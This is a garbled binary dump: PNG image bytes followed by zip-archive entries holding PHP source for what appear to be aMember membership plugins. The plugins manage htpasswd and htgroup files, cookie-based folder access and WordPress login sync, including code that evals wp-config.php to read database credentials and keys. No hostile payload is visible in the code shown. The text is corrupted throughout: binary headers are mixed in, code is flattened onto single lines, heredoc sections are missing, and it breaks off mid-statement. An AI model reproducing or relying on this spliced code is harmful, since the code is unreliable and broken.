v7‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT PK\}L!!protect/htpasswd.phpnu[htpasswd = $this->getDi()->data_dir . '/.htpasswd'; $this->htgroup = $this->getDi()->data_dir . '/.htgroup'; } public function onRebuild(Am_Event $event) { $rows = $this->getDi()->db->select( "SELECT u.login AS ARRAY_KEY, u.user_id, IFNULL(s.pass, ?) as pass FROM ?_user u LEFT JOIN ?_saved_pass s ON s.user_id=u.user_id AND s.format=? WHERE u.status = 1 ", self::NO_PASSWORD, SavedPassTable::PASSWORD_CRYPT); $existing = array(); $f = fopen($this->htpasswd, 'r'); if ($f) { while ($s = fgets($f, 8192)) { @list($l, $p) = explode(':', $s, 2); $existing [ trim($l) ] = trim($p); } } // if (!flock($f, LOCK_EX)) throw new Am_Exception_InternalError("Could not lock htpasswd file {$this->htpasswd} for updating"); $fnName = $this->htpasswd . '.' . uniqid(); $fn = fopen($fnName, 'x'); if (!$fn) throw new Am_Exception_InternalError("Could not open file {$fnName} for creation"); foreach ($rows as $login => $r) { if (($r['pass'] == self::NO_PASSWORD) && array_key_exists($login, $existing)) $r['pass'] = $existing[$login]; fwrite($fn, "$login:".$r['pass'].PHP_EOL); } flock($f, LOCK_UN); fclose($f); fclose($fn); if (!rename($fnName, $this->htpasswd)) throw new Am_Exception_InternalError("Could not move $fnName to $this->htpasswd"); /// rebuild .htaccess $groups = array(); $q = $this->getDi()->resourceAccessTable->getResourcesForMembers(ResourceAccess::FOLDER)->query(); $db = $this->getDi()->db; while ($r = $db->fetchRow($q)) $groups[ $r['resource_id'] ][] = $r['login']; $f = fopen($this->htgroup, 'r'); if (!flock($f, LOCK_EX)) throw new Am_Exception_InternalError("Could not lock htgroup file {$this->htgroup} for updating"); $fnName = $this->htgroup . '.' . uniqid(); $fn = fopen($fnName, 'x'); if (!$fn) throw new Am_Exception_InternalError("Could not open file {$fnName} for creation"); foreach ($groups as $folder_id => $logins) foreach (array_chunk($logins, 300) as $logins) { fputs($fn, "FOLDER_$folder_id: " . implode(" ", $logins). PHP_EOL); } flock($f, LOCK_UN); fclose($f); fclose($fn); if (!rename($fnName, $this->htgroup)) throw new Am_Exception_InternalError("Could not move $fnName to $this->htgroup"); } public function getPasswordFormat() { return SavedPassTable::PASSWORD_CRYPT; } public function writeLine($f, User $user, $oldPassword = null) { if ($user->status != User::STATUS_ACTIVE) return; // no line for not-active customers! $pass = $user->getPlaintextPass(); if ($pass) $pass = $this->cryptPassword($pass); elseif ($saved = $this->getDi()->savedPassTable->findSaved($user, SavedPassTable::PASSWORD_CRYPT)) $pass = $saved->pass; if (!$pass) $pass = $oldPassword; if (!$pass) $pass = self::NO_PASSWORD; // we have not found a password so we replace it with fake for easy debugging fwrite($f, $user->login . ":" . $pass . PHP_EOL); } public function updated(Am_Event $event) { $user = $event->getUser(); $oldUser = $event instanceof Am_Event_AbstractUserUpdate ? $event->getOldUser() : $event->getUser(); $oldLogin = $oldUser->login; $newLogin = $event->getUser()->login; if (!file_exists($this->htpasswd)) { $f = fopen($this->htpasswd, 'x'); if (!$f) throw new Am_Exception_InternalError("Could not open file {$this->htpasswd} for creation"); $this->writeLine($f, $user); fclose($f); } else { $f = fopen($this->htpasswd, 'r'); if (!$f) throw new Am_Exception_InternalError("Could not open file {$this->htpasswd} for reading"); if (!flock($f, LOCK_EX)) throw new Am_Exception_InternalError("Could not lock htpasswd file {$this->htpasswd} for updating"); $newFn = $this->htpasswd . '.' . uniqid(); $fNew = fopen($newFn, 'x'); if (!$fNew) throw new Am_Exception_InternalError("Could not open file {$newFn} for creation"); $found = 0; while ($s = fgets($f, 8192)) { @list($l, $p) = explode(':', $s); if (trim($l) != $oldLogin) fwrite($fNew, $s); else { $this->writeLine($fNew, $event->getUser(), $p); $found++; } } if (!$found) $this->writeLine($fNew, $event->getUser()); flock($f, LOCK_UN); fclose($f); fclose($fNew); if (!rename($newFn, $this->htpasswd)) throw new Am_Exception_InternalError("Could not rename [$newFn] to {$this->htpasswd}"); } // now update htgroup $folders = $this->getDi()->resourceAccessTable->getAllowedResources($event->getUser(), ResourceAccess::FOLDER); foreach ($folders as $i => $folder) $folders[$i] = $folder->pk(); if (!file_exists($this->htgroup)) { $f = fopen($this->htgroup, 'x'); foreach ($folders as $id) fwrite($f, "FOLDER_$id: $newLogin" . PHP_EOL); fclose($f); } else { $f = fopen($this->htgroup, 'r'); if (!$f) throw new Am_Exception_InternalError("Could not open file {$this->htgroup} for reading"); if (!flock($f, LOCK_EX)) throw new Am_Exception_InternalError("Could not lock htpasswd file {$this->htgroup} for updating"); $newFn = $this->htgroup . '.' . uniqid(); $fNew = fopen($newFn, 'x'); if (!$fNew) throw new Am_Exception_InternalError("Could not open file {$newFn} for creation"); /// while ($s = fgets($f)) { if (!($colon = strpos(':', $s))) { fwrite($fNew, $s); continue; } $group = trim(substr($s, 0, $colon-1)); if (!preg_match('/^FOLDER_(\d+)/', $group, $matches)) { fwrite($fNew, $s); continue; } $folder_id = intval($matches[1]); $records = preg_split('/\s+/', trim(substr($s, $colon+1))); $records = array_diff($records, array($oldLogin)); if (in_array($folder_id, $folders)) $records[] = $newLogin; fwrite($fNew, "FOLDER_$folder_id:" . implode(" ", $records).PHP_EOL); $folders = array_diff($folders, array($folder_id)); } foreach ($folders as $folder_id) { fwrite($fNew, "FOLDER_$folder_id:$newLogin".PHP_EOL); } /// flock($f, LOCK_UN); fclose($fNew); fclose($f); if (!rename($newFn, $this->htgroup)) throw new Am_Exception_InternalError("Could not rename [$newFn] to {$this->htgroup}"); } } public function deleted(Am_Event $event) { $st = $event->getUser()->status; // change it to trick update function $event->getUser()->status = User::STATUS_EXPIRED; $this->updated($event); // change it back $event->getUser()->status = $st; } /** override automatic detection */ public function getHooks() { $updated = array($this, 'updated'); $deleted = array($this, 'deleted'); $rebuild = array($this, 'onRebuild'); return array( 'userAfterUpdate' => $updated, 'subscriptionChanged' => $updated, 'userAfterDelete' => $deleted, 'daily' => $rebuild, 'rebuild' => $rebuild, ); } }PK\w^VVprotect/new-rewrite.phpnu[getDi()->data_dir . '/new-rewrite/' . $file; } function createFile($fn) { if (@file_put_contents($fn , "") === false) throw new Am_Exception_InternalError("Cannot create file [$fn] in " . __METHOD__); } function getEscapedCookie() { if (empty($_COOKIE[self::NR_COOKIE])) return null; $c = preg_replace('/[^a-zA-Z0-9]/', '', $_COOKIE[self::NR_COOKIE]); return strlen($c) ? $c : null; } function onAuthAfterLogin(Am_Event_AuthAfterLogin $event) { /** @var User */ $user = $event->getUser(); $cookie = $this->getEscapedCookie(); if (!$cookie) { $cookie = md5(rand() . $user->login); Am_Cookie::set(self::NR_COOKIE, $cookie, time()+$this->getDi()->config->get('login_session_lifetime', 120)*60, '/', $this->getDi()->request->getHttpHost(), false, false, true); $_COOKIE[self::NR_COOKIE] = $cookie; } // Create "main" file even if user is not active. // This file will be checked in NoAccessController if user doesn't have access to folder. // (in order to check is user logged in or not) $this->createFile($this->getFilePath($cookie)); foreach ($this->getDi()->resourceAccessTable->getAllowedResources($user, ResourceAccess::FOLDER) as $f) { $this->createFile($this->getFilePath($cookie, $f->pk())); } } function onAuthAfterLogout(Am_Event_AuthAfterLogout $event) { $this->deleteCookieFiles(); Am_Cookie::set(self::NR_COOKIE, null, time() - 36000, '/', $this->getDi()->request->getHttpHost(), false, false, true); } function deleteCookieFiles() { $c = $this->getEscapedCookie(); if (!$c) return; $dirname = $this->getDi()->data_dir . '/new-rewrite'; foreach ((array)glob("$dirname/$c*") as $f) if (strlen($f)) @unlink($f); } function onDaily() { $d = opendir($dirname = $this->getDi()->data_dir . "/new-rewrite"); if (!$d) return; while ($f = @readdir($d)) { if ($f[0] == '.') continue; if ($f == '_vti_cnf') continue; if ($f == 'readme.txt') continue; if ((time() - @filectime("$dirname/$f")) > 3 * 3600) @unlink("$dirname/$f"); } closedir($d); } public function needRefresh(User $user){ // logout and login, just to be sure $this->deleteCookieFiles(); $event = new Am_Event_AuthAfterLogin($user); $this->onAuthAfterLogin($event); } public function onAuthSessionRefresh(Am_Event_AuthSessionRefresh $event){ $this->needRefresh($event->getUser()); } public function onThanksPage(Am_event $e) { if ($this->getDi()->auth->getUserId()) $this->needRefresh($this->getDi()->auth->getUser()); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($url = $request->get('url')) $url = urldecode($url); if ($request->get('host') && $request->get('ssl')) { $url = (!strcasecmp($request->get('ssl'), 'on') ? 'https://' : 'http://') . $request->get('host') . $url; $request->set('url',$url); } // if user is logged in and went here, something is definitely wrong if ($this->getDi()->auth->getUserId()) { $this->needRefresh($this->getDi()->auth->getUser()); if(!parse_url($url, PHP_URL_SCHEME)) { $url = sprintf('%s://%s%s', $request->isSecure()?'https':'http', $request->getHttpHost(), $url); } $response->redirectLocation($url); return; } // require_once AM_APPLICATION_PATH . '/default/controllers/LoginController.php'; $c = new LoginController($request, $response, $invokeArgs); $c->setRedirectUrl(Am_Html::escape($url)); $c->run(); } public function getPasswordFormat() { return null; } } ;PK\]600protect/wordpress/wordpress.phpnu[isConfigured() && $this->getConfig('network') && $this->getConfig('network_add_to_blogs')) { include_once "network.php"; $plugin = new Am_Protect_WPNetwork($this->getDi(), $this->getConfig(), $this); $this->getDi()->plugins_protect->register($plugin->getId(), $plugin); $this->getDi()->plugins_protect->addEnabled($plugin->getId()); $this->wpmu = $plugin; } $this->getDi()->userTable->customFields()->add(new Am_CustomFieldHidden('_wordpress_nickname', 'Wordpress nickname')); $this->getDi()->userTable->customFields()->add(new Am_CustomFieldHidden('_wordpress_display', 'Wordpress display publicly as')); } /** * * @return Am_Protect_WPNetwork $plugin * */ function getNetworkPlugin() { return $this->wpmu; } public function canAutoCreate() { return true; } public function getLevels() { $ret = array(); for ($i = 0; $i <= 10; $i++) { $ret[$i] = 'level_' . $i; } return $ret; } public function getIntegrationFormElements(HTML_QuickForm2_Container $group) { parent::getIntegrationFormElements($group); if ($this->getConfig('buddy_press')) { $groups = $this->getBuddyPressGroups(); $available_groups = $this->getConfig('buddy_press_groups'); foreach ($groups as $k => $v) if (!in_array($k, $available_groups)) unset($groups[$k]); $group->addSelect('buddy_press_group', array(), array('options' => array('' => '-- Select Group -- ') + $groups)) ->setLabel('BuddyPress Group'); } if($this->getConfig('wp_courseware')) { $group->addSelect('wp_courseware_group', array(), array( 'options' =>array( '' => '-- Select Course --' ) + $this->getWpCoursewareGroups() ))->setLabel('WpCourseware Courses'); } if($this->getConfig('coursepress')) { $group->addSelect('coursepress_group', array(), array( 'options' =>array( '' => '-- Select Course --' ) + $this->getCoursePressGroups() ))->setLabel('CoursePress Courses'); } if($this->getConfig('ultimatemember')) { $group->addSelect('ultimatemember_group', array(), array( 'options' =>array( '' => '-- Select Group --' ) + $this->getUltimateMemberGroups() ))->setLabel('UltimateMember Group'); } if ($this->getConfig('network') && $this->getConfig('network_create_blog')) { $group->addAdvCheckbox('create_blog')->setLabel('Create blog for user'); } /* $options = $this->getLevels(); $group->addSelect('level', array(), array('options'=>$options))->setLabel('Wordpress Level'); */ } public function getIntegrationSettingDescription(array $config) { $ret = parent::getIntegrationSettingDescription($config); if (isset($config['wp_courseware_group']) && ($id = $config['wp_courseware_group'])) { $title = $this->getWpCoursewareGroups(); $g = isset($title[$id]) ? $title[$id] : "#$id"; $ret .= ", WpCourseware Courses [$g]"; } if (isset($config['coursepress_group']) && ($id = $config['coursepress_group'])) { $title = $this->getCoursePressGroups(); $g = isset($title[$id]) ? $title[$id] : "#$id"; $ret .= ", CoursePress Courses [$g]"; } if (isset($config['ultimatemember_group']) && ($id = $config['ultimatemember_group'])) { $title = $this->getUltimateMemberGroups(); $g = isset($title[$id]) ? $title[$id] : "#$id"; $ret .= ", UltimateMember Group [$g]"; } return $ret; } public function afterAddConfigItems(Am_Form_Setup_ProtectDatabased $form) { parent::afterAddConfigItems($form); $configPrefix = sprintf('protect.%s.', $this->getId()); $form->addText($configPrefix . 'folder', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Folder\n" . "Folder where you have {$this->getTitle()} installed"); $form->addAdvCheckbox($configPrefix . 'use_wordpress_theme') ->setLabel("Use Wordpress theme\n" . "aMember will use theme that you set in wordpress for header and footer"); $form->addText($configPrefix . 'auth_key', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Auth Key\n" . "AUTH_KEY setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'secure_auth_key', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Secure Auth Key\n" . "SECURE_AUTH_KEY setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'logged_in_key', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Logged In Key\n" . "LOGGED_IN_KEY setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'nonce_key', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Nonce Key\n" . "NONCE_KEY setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'auth_salt', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Auth Salt\n" . "AUTH_SALT setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'secure_auth_salt', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Secure Auth Salt\n" . "SECURE_AUTH_SALT setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'logged_in_salt', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Logged In Salt\n" . "LOGGED_IN_SALT setting from {$this->getTitle()} config"); $form->addText($configPrefix . 'nonce_salt', array('class' => 'el-wide')) ->setLabel("{$this->getTitle()} Nonce Salt\n" . "NONCE_SALT setting from {$this->getTitle()} config"); $form->addSelect($configPrefix . 'display_name', '', array('options' => array( 'username' => 'Username', 'name_f_name_l' => 'First & Last Name' ))) ->setLabel('Set display name for new users to'); if ($this->haveSimplePress() || $this->getConfig('simple_press')) { $form->addAdvCheckbox($configPrefix . 'simple_press')->setLabel("Update SimplePress database"); } if ($this->haveWpCorseware() || $this->getConfig('wp_corseware')) { $form->addAdvCheckbox($configPrefix . 'wp_courseware')->setLabel("Enable WP Courseware support"); } if($this->haveCoursePress() || $this->getConfig('coursepress')) { $form->addAdvCheckbox($configPrefix . 'coursepress')->setLabel("Enable CoursePress support"); } if($this->haveUltimateMember() || $this->getConfig('ultimatemember')) { $form->addAdvCheckbox($configPrefix . 'ultimatemember')->setLabel("Enable Ultimate Member Groups support"); if($this->getConfig('ultimatemember')) $form->addMagicSelect( $configPrefix . 'um_default_group', array(), array( 'options' => array_merge( array('' => '-- Please Select --'), $this->getUltimateMemberGroups() ) )) ->setLabel("Ultimate Member Default Group\n" . 'Will be set if there are no other groups should be assigned to profile'); } if ($this->haveBuddyPress() || $this->getConfig('buddy_press')) { $form->addAdvCheckbox($configPrefix . 'buddy_press') ->setLabel("Enable BuddyPress Groups Support") ->setId('buddy-press'); $form->addMagicSelect($configPrefix . 'buddy_press_groups', array(), array('options' => $this->getBuddyPressGroups())) ->setLabel("Manage only these BP groups\n" . 'aMember will have full controll on these groups') ->setId('buddy-press-groups'); $form->addScript()->setScript(<<haveNetworkSupport() || $this->getConfig('network')) { $form->addAdvCheckbox($configPrefix . 'network') ->setLabel('Enable Wordpress Network Support') ->setId('network'); $form->addAdvCheckbox($configPrefix . 'network_create_blog') ->setLabel("Enable 'Create Blog' functionality") ->setId('network-create-blog'); $form->addAdvCheckbox($configPrefix . 'network_add_to_blogs') ->setLabel("Enable 'Add user to different blogs'") ->setId('network-add-to-blogs'); $form->addScript()->setScript(<<addSelect($configPrefix ."version", null, array('options'=>array(4=>'4.0 and newer', 3=>'older then 4.0')))->setLabel('Wordpress version'); } function getBuddyPressGroups() { $ret = array(); try { foreach ($this->getDb()->select("SELECT * FROM ?_bp_groups") as $g) { $ret[$g['id']] = $g['status'] . ' : ' . $g['name']; } } catch (Exception $e) { $ret = array(); } return $ret; } function getWpCoursewareGroups() { $ret = array(); try { foreach ($this->getDb()->select("SELECT * FROM ?_wpcw_courses") as $g) { $ret[$g['course_id']] = $g['course_title']; } } catch (Exception $e) { $ret = array(); } return $ret; } function getCoursePressGroups(){ $ret = array(); try { foreach ($this->getDb()->select("SELECT ID, post_title FROM ?_posts where post_type = 'course' and post_status!='draft'") as $g) { $ret[$g['ID']] = $g['post_title']; } } catch (Exception $e) { $ret = array(); } return $ret; } function getUltimateMemberGroups(){ $ret = array(); try { foreach ($this->getDb()->selectCol("SELECT option_value from ?_options where option_name like '%um_cached_role%'") as $g) { $g = unserialize($g); $g = @$g['role'] ?:@$g['core']; $ret[$g] = $g; } } catch (Exception $e) { $ret = array(); } return $ret; } public function getPasswordFormat() { return SavedPassTable::PASSWORD_PHPASS; } public function onAuthSessionRefresh(Am_Event_AuthSessionRefresh $event) { // Make sure that parent hook is executed because it will login user into wordpress after signup. parent::onAuthSessionRefresh($event); $this->saveLinksToSession($event->getUser()); } public function saveLinksToSession(User $user) { $this->getDi()->session->amember_links_lang = $this->getDi()->locale->getLanguage(); $resources = $this->getDi()->resourceAccessTable->getAllowedResources($user, ResourceAccess::USER_VISIBLE_TYPES); $links = array(); foreach ($resources as $r) { $link = $r->renderLink(); if ($link) $links[] = $link; } $this->getDi()->session->amember_links = $links; } public function loginUser(Am_Record $record, $password) { $cookie_secure = $this->getWP()->get_user_meta($record->pk(), 'use_ssl'); $remember = $this->getDi()->config->get('protect.php_include.remember_login') && $this->getDi()->config->get('protect.php_include.remember_auto'); $this->getWP()->wp_set_auth_cookie($record->pk(), $remember, $cookie_secure, $record); $this->saveLinksToSession($user = $this->getTable()->findAmember($record)); if ($this->getConfig('network') && $this->getConfig('network_add_to_blogs') && $groups = $this->calculateNetworkGroups($user) && function_exists('switch_to_blog')) { foreach ($groups as $blog_id => $gr) { switch_to_blog($blog_id); wp_set_auth_cookie($record->pk()); restore_current_blog(); } } } public function logoutUser(User $user) { $this->getWP()->wp_clear_auth_cookie(); if ($this->getConfig('network') && $this->getConfig('network_add_to_blogs') && ($groups = $this->calculateNetworkGroups($user)) && function_exists('switch_to_blog')) { foreach ($groups as $blog_id => $gr) { switch_to_blog($blog_id); wp_clear_auth_cookie(); restore_current_blog(); } } } public function getLoggedInRecord() { if (!($user_id = $this->getWP()->wp_validate_auth_cookie())) { $logged_in_cookie = $this->getWP()->getLoggedInCookie(); if (empty($_COOKIE[$logged_in_cookie]) || !$user_id = $this->getWP()->wp_validate_auth_cookie($_COOKIE[$logged_in_cookie], 'logged_in')) return; } $record = $this->getTable()->load($user_id, false); return $record; } public function parseExternalConfig($path) { // Now set config fields as required by aMember; if (!is_file($config_path = $path . "/wp-config.php") || !is_readable($config_path)) throw new Am_Exception_InputError("This is not a valid " . $this->getTitle() . " installation"); // Read config; $config = file_get_contents($config_path); $config = preg_replace(array("/include_once/", "/require_once/", "/include/", "/require/"), "trim", $config); $config = preg_replace(array("/\<\?php/", "/\?\>/"), "", $config); eval($config); if(is_file($version_path = $path.'/wp-includes/version.php') && is_readable($version_path)){ @include_once($version_path); list($version, ) = explode('.', $wp_version); }else{ $version = ''; } return array( 'db' => DB_NAME, 'prefix' => $table_prefix, 'host' => DB_HOST, 'user' => DB_USER, 'pass' => DB_PASSWORD, 'folder' => $path, 'auth_key' => AUTH_KEY, 'secure_auth_key' => SECURE_AUTH_KEY, 'logged_in_key' => LOGGED_IN_KEY, 'nonce_key' => NONCE_KEY, 'auth_salt' => AUTH_SALT, 'secure_auth_salt' => SECURE_AUTH_SALT, 'logged_in_salt' => LOGGED_IN_SALT, 'nonce_salt' => NONCE_SALT, 'version' => $version ); } public function getAvailableUserGroups() { $ret = array(); foreach ($this->getWP()->get_roles() as $rname => $r) { $g = new Am_Protect_Databased_Usergroup(array( 'id' => $rname, 'title' => $r['name'], 'is_banned' => null, 'is_admin' => (in_array('level_10', array_keys($r['capabilities'])) ? $r['capabilities']['level_10'] : 0) )); if($g->getId() == 'subscriber') array_unshift ($ret, $g); else $ret[$g->getId()] = $g; } return $ret; } function getDisplayName(User $user) { if($display_name = $user->data()->get("_wordpress_display")) return $display_name; switch ($this->getConfig('display_name', 'username')) { case 'name_f_name_l' : return $user->name_f . ' ' . $user->name_l; case 'username' : default: return $user->login; } } public function createTable() { $table = new Am_Protect_Wordpress_Table($this, $this->getDb(), '?_users', 'ID'); $table->setFieldsMapping(array( array(Am_Protect_Table::FIELD_LOGIN, 'user_login'), array(Am_Protect_Table::FIELD_LOGIN, 'user_nicename'), array(array($this, 'getDisplayName'), 'display_name'), array(Am_Protect_Table::FIELD_EMAIL, 'user_email'), array(Am_Protect_Table::FIELD_PASS, 'user_pass'), array(Am_Protect_Table::FIELD_ADDED_SQL, 'user_registered') )); return $table; } public function onInitFinished() { if ($this->getDi()->auth->getUserId() && ($this->getDi()->session->amember_links_lang != $this->getDi()->locale->getLanguage())) { $this->saveLinksToSession($this->getDi()->auth->getUser()); } } protected function saveGlobalVars() { foreach ($this->_toSave as $k) { $this->_savedVars[$k] = $GLOBALS[$k]; } $this->_savedVars['_SESSION'] = array(); foreach ($_SESSION as $k => $v) { $this->_savedVars['_SESSION'][$k] = $v; } } protected function restoreGlobalVars() { foreach ($this->_toSave as $k) { $GLOBALS[$k] = $this->_savedVars[$k]; } foreach ($this->_savedVars['_SESSION'] as $k => $v) { $_SESSION[$k] = $v; } } public function onGlobalIncludes(Am_Event_GlobalIncludes $e) { if ($this->isConfigured() && ($this->getConfig('use_wordpress_theme') || $this->getConfig('network'))) { //Save superglobals to avoid modification in wordpress. $this->saveGlobalVars(); $this->_include_path = get_include_path(); // Add theme folder to include path; define("WP_CACHE", false); define("WP_USE_THEMES", false); // Save headers that was sent by aMember; $this->_headers_backup = headers_list(); $this->_timezone_backup = date_default_timezone_get(); $this->_error_reporting_backup = error_reporting(); $e->add($this->config['folder'] . "/wp-blog-header.php"); } } public function onGlobalIncludesFinished() { if ($this->isConfigured() && ($this->getConfig('use_wordpress_theme') || $this->getConfig('network'))) { error_reporting($this->_error_reporting_backup); date_default_timezone_set($this->_timezone_backup); set_exception_handler(array($this->getDi()->app, '__exception')); foreach (headers_list() as $l) { if (strpos($l, ':') !== false) { // header can be unset; list($k, ) = explode(':', $l); if (in_array($k, $this->_remove_headers)) if (function_exists('header_remove')) header_remove($k); else header($k . ":"); } } // Now set headers again. foreach ($this->_headers_backup as $line) header($line); set_include_path($this->_include_path); // Restore superglobals; $this->restoreGlobalVars(); // Change template path only if wordpress was included and use wordpress header is enabled. if (function_exists('status_header') && $this->getConfig('use_wordpress_theme')) { $path = defined("TEMPLATEPATH") ? TEMPLATEPATH : 'default'; $path_parts = preg_split('/[\/\\\]/', $path); $path = array_pop($path_parts); if (is_file(dirname(__FILE__) . '/' . $path . '/layout.phtml')) { $path = $path; } else if (preg_match("/^([a-zA-Z]+)/", $path, $regs) && is_file(dirname(__FILE__) . '/' . $regs[1] . '/layout.phtml')) { $path = $regs[1]; } else { $path = 'default'; } $this->getDi()->viewPath = array_merge($this->getDi()->viewPath, array(dirname(__FILE__) . '/' . $path)); // Setup scripts and path required for wordpress; wp_enqueue_script("jquery"); } if(function_exists('status_header')) status_header(200); // To prevent 404 header from wordpress; } } function addHeader() { $this->_current_view->printLayoutHead(false, $this->safe_jquery_load); } function addTitle() { return $this->_page_title ; } function startLayout(Am_View $view, $title, $safe_jquery_load = false) { $this->_current_view = $view; $this->_page_title = $title; $this->safe_jquery_load = $safe_jquery_load; add_action("wp_head", array($this, "addHeader")); add_filter("wp_title", array($this, "addTitle"), 10); $GLOBALS['wp_query']->is_404 = false; } function getWP() { if (!$this->_wp) { $this->_wp = new WordpressAPI($this); } return $this->_wp; } function calculateLevels(User $user = null, $addDefault = false) { throw new Am_Exception('Deprecated!'); // we have got no user so search does not make sense, return default group if configured $levels = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) as $integration) { $vars = unserialize($integration->vars); $levels[] = $vars['level']; } } if (!$levels) { return $this->getConfig('default_wplevel', 0); } else { return max($levels); } } function calculateBuddyPressGroups(User $user) { $groups = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) as $integration) { $vars = unserialize($integration->vars); $levels[] = $vars['buddy_press_group']; } } return array_filter(array_unique($levels)); } /** * Whether blog should be created for user or not. * @param User $user */ function haveNetworkBlogAccess(User $user) { $groups = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) as $integration) { $vars = unserialize($integration->vars); if ($vars['create_blog']) return true; } } return false; } function calculateGroups(User $user = null, $addDefault = false) { $groups = parent::calculateGroups($user, $addDefault); if ($this->getConfig('network') && $this->getConfig('network_add_to_blogs') && $this->calculateNetworkGroups($user)) { $groups[] = 'amember_active'; } if ($groups && $user) { $add_group = ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) ? 'amember_active' : 'amember_expired'); if (!in_array($add_group, $groups)) $groups[] = $add_group; } return $groups; } function calculateWpCoursewareGroups(User $user) { $levels = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) as $integration) { $vars = unserialize($integration->vars); $levels[] = $vars['wp_courseware_group']; } } return array_filter(array_unique($levels)); } function calculateCoursePressGroups(User $user) { $levels = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) as $integration) { $vars = unserialize($integration->vars); $levels[] = $vars['coursepress_group']; } } return array_filter(array_unique($levels)); } function calculateUltimateMemberGroups(User $user) { $levels = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getId()) as $integration) { $vars = unserialize($integration->vars); $levels[] = @$vars['ultimatemember_group']; } } return (array_pop(array_filter(array_unique($levels)))?:$this->getConfig('um_default_group')); } function calculateNetworkGroups(User $user = null) { $groups = array(); if ($user && $user->pk()) { foreach ($this->getIntegrationTable()->getAllowedResources($user, $this->getNetworkPlugin()->getId()) as $integration) { $vars = unserialize($integration->vars); if ($vars['gr']) $groups[@$vars['blog_id']][] = $vars['gr']; } } return $groups; } function getReadme() { return <<Wordpress plugin readme Up to date installation instructions can be found in this article Optionally you can install aMember plugin into wordpress in order to protect content in wordpress itself. CUT; } function haveWpCorseware() { try { $this->_db->query('select count(*) from ?_wpcw_courses'); } catch (Exception $e) { return false; } return true; } function haveCoursePress() { try { $version = $this->_db->selectCell('select option_value from ?_options where option_name="coursepress_version"'); if(!$version) return false; } catch (Exception $e) { return false; } return true; } function haveUltimateMember() { try { $version = $this->_db->selectCell('select option_value from ?_options where option_name="um_version"'); if(!$version) return false; } catch (Exception $e) { return false; } return true; } function haveSimplePress() { try { $this->_db->query('select count(*) from ?_sfmembers'); } catch (Exception $e) { return false; } return true; } function haveBuddyPress() { try { $this->_db->query('select count(*) from ?_bp_groups'); } catch (Exception $e) { return false; } return true; } function haveNetworkSupport() { try { $this->_db->query('select count(*) from ?_blogs'); } catch (Exception $e) { return false; } return true; } public function onLoadBricks($event) { if(!class_exists('Am_Form_Brick_WordpressNickname',false)) { require_once "bricks.php"; } } } if (!class_exists('Am_Protect_Wordpress_Table', false)) { class Am_Protect_Wordpress_Table extends Am_Protect_Table { function __construct(Am_Protect_Databased $plugin, $db = null, $table = null, $recordClass = null, $key = null) { parent::__construct($plugin, $db, $table, $recordClass, $key); } /** * @return Am_Protect_Wordpress $plugin */ function getPlugin() { return parent::getPlugin(); } function updateSimplePress(Am_Record $record) { $this->getPlugin()->getDb()->query(' INSERT INTO ?_sfmembers (user_id, display_name, moderator, avatar, posts, lastvisit, checktime, user_options) VALUES (?, ?, ?, ?, ?, now(), now(), ?) ON DUPLICATE KEY UPDATE display_name = VALUES(display_name) ', $record->pk(), $record->display_name, 0, serialize(array('uploaded' => '')), -1, serialize(array( "hidestatus" => 0, "timezone" => 0, "timezone_string" => "UTC", "editor" => 1, "namesync" => 1, "unreadposts" => 50 )) ); } function updateSimplePressMemberships(Am_Record $record, $groups) { $this->getPlugin()->getDb()->query('DELETE FROM ?_sfmemberships WHERE user_id = ?', $record->pk()); $sfgroups = array(); $default = ''; foreach ($this->getPlugin()->getDb()->selectPage($total, " SELECT meta_key AS wpgroup, meta_value AS sfgroup FROM ?_sfmeta where meta_type = 'default usergroup' ") as $gr) { if (in_array($gr['wpgroup'], $groups)) $sfgroups[] = $gr['sfgroup']; if ($gr['wpgroup'] == 'sfmembers') $default = $gr['sfgroup']; } $sfgroups = array_filter(array_unique($sfgroups)); if (empty($sfgroups)) $sfgroups[] = $default; foreach ($sfgroups as $v) { $this->getPlugin()->getDb()->query('INSERT INTO ?_sfmemberships set user_id = ?, usergroup_id=?', $record->pk(), $v); } } function updateBuddyPressProfile(Am_Record $record) { if (!$this->_db->selectCell('select count(*) from ?_bp_xprofile_data where user_id=? and field_id=1', $record->pk())) $this->_db->query(' INSERT INTO ?_bp_xprofile_data (user_id, value, field_id, last_updated) VALUES (?, ?, 1, now()) ', $record->pk(), $record->display_name ); } function getBuddyPressGroups(Am_Record $record) { return $this->_db->selectCol('SELECT group_id FROM ?_bp_groups_members WHERE user_id=?', $record->pk()); } function updateBuddyPressGroups(Am_Record $record, User $user) { $oldGroups = $this->getBuddyPressGroups($record); $newGroups = $this->getPlugin()->calculateBuddyPressGroups($user); // First filter oldGroups and remove groups which are not related to aMember. $oldGroups = array_intersect($oldGroups, $this->getPlugin()->getConfig('buddy_press_groups')); $added = array_unique(array_diff($newGroups, $oldGroups)); $deleted = array_unique(array_diff($oldGroups, $newGroups)); if 